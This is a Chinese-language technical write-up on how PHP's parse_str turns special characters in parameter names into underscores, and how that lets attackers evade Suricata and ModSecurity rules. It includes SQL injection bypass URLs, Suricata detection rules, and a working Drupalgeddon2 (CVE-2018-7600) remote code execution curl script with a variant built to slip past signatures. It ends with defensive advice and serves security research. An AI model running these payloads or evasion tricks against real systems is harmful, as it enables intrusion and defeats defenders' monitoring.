利用PHP函数parse_str绕过IDS、IPS和WAF
字数 1094 2025-08-26 22:11:51
PHP函数parse_str绕过IDS、IPS和WAF技术分析
1. PHP查询字符串解析机制
PHP将查询字符串(在URL或主体中)转换为$_GET或$_POST内的关联数组时,会对参数名称进行特殊处理:
- 删除初始空格
- 将某些特殊字符转换为下划线(包括空格)
例如:
/?foo=bar转换为Array([foo] => "bar")/?%20news[id%00=42转换为Array([news_id]=>42)
2. 字符转换测试方法
可以通过以下PHP代码测试哪些字符会被删除或转换为下划线:
<?php
foreach( [ "{chr}foo_bar", "foo{chr}bar", "foo_bar{chr}" ] as $k => $arg) {
for($i=0;$i<=255;$i++) {
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
if(isset($o["foo_bar"])) {
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\n";
}
测试结果显示:
foo%20bar和foo+bar是等效的,都被解析为foo bar- 许多特殊字符会被转换为下划线
3. 绕过技术详解
3.1 绕过Suricata规则
假设Suricata有以下规则检查news_id参数:
alert http any any -> $HOME_NET any (
msg: "Block SQLi";
flow:established,to_server;
content: "POST"; http_method;
pcre: "/news_id=[^0-9]+/Pi";
sid:1234567;
)
可以通过以下方式绕过:
/?news[id=1%22+AND+1=1--'/?news%5bid=1%22+AND+1=1--'/?news_id%00=1%22+AND+1=1--'
3.2 绕过WAF规则
对于ModSecurity规则:
SecRule !ARGS:news_id "@rx ^[0-9]+$" "block"
可以通过以下方式绕过:
- 使用
news[id代替news_id - 使用
news%5bid代替news_id - 在参数名中添加空字节
news_id%00
更安全的ModSecurity规则应使用正则表达式匹配参数名:
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"
4. 实际案例:Drupalgeddon2 (CVE-2018-7600)
4.1 原始攻击脚本
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
4.2 Suricata规则
- 自定义规则:
alert http any any -> $HOME_NET any (
msg: "Possible Drupalgeddon2 attack";
flow: established, to_server;
content: "/user/register"; http_uri;
content: "POST"; http_method;
pcre: "/form_id=user_register_form/Pi";
sid: 10002807;
rev: 1;
)
- PT规则:
alert http any any -> $HOME_NET any (
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)";
flow: established, to_server;
content: "/user/register"; http_uri;
content: "POST"; http_method;
content: "drupal"; http_client_body;
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi";
reference: cve, 2018-7600;
classtype: attempted-admin;
sid: 10002808;
rev: 2;
)
4.3 绕过方法
- 修改
form_id为form%5bid:
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
- 修改
post_render为post%5frender绕过PT规则的正则表达式检查
最终绕过脚本:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
5. 防御建议
-
严格参数名验证:
- 使用正则表达式匹配参数名,如
/news.id/而不是简单的news_id - 检查参数名中是否包含特殊字符或编码
- 使用正则表达式匹配参数名,如
-
WAF规则优化:
- 考虑所有可能的编码变体
- 检查参数名和值的各种表示形式
-
PHP配置:
- 限制
parse_str的使用或使用更严格的解析方式 - 对输入参数进行规范化处理
- 限制
-
多层防御:
- 结合签名检测和行为分析
- 实施输入验证和输出编码
-
特殊字符处理:
- 特别注意空格、空字节(%00)、方括号等特殊字符的处理
- 考虑下划线字符的各种编码表示(%5f)
通过理解PHP的查询字符串解析机制和安全设备的检测原理,可以有效绕过某些安全防护,同时也为防御此类攻击提供了思路。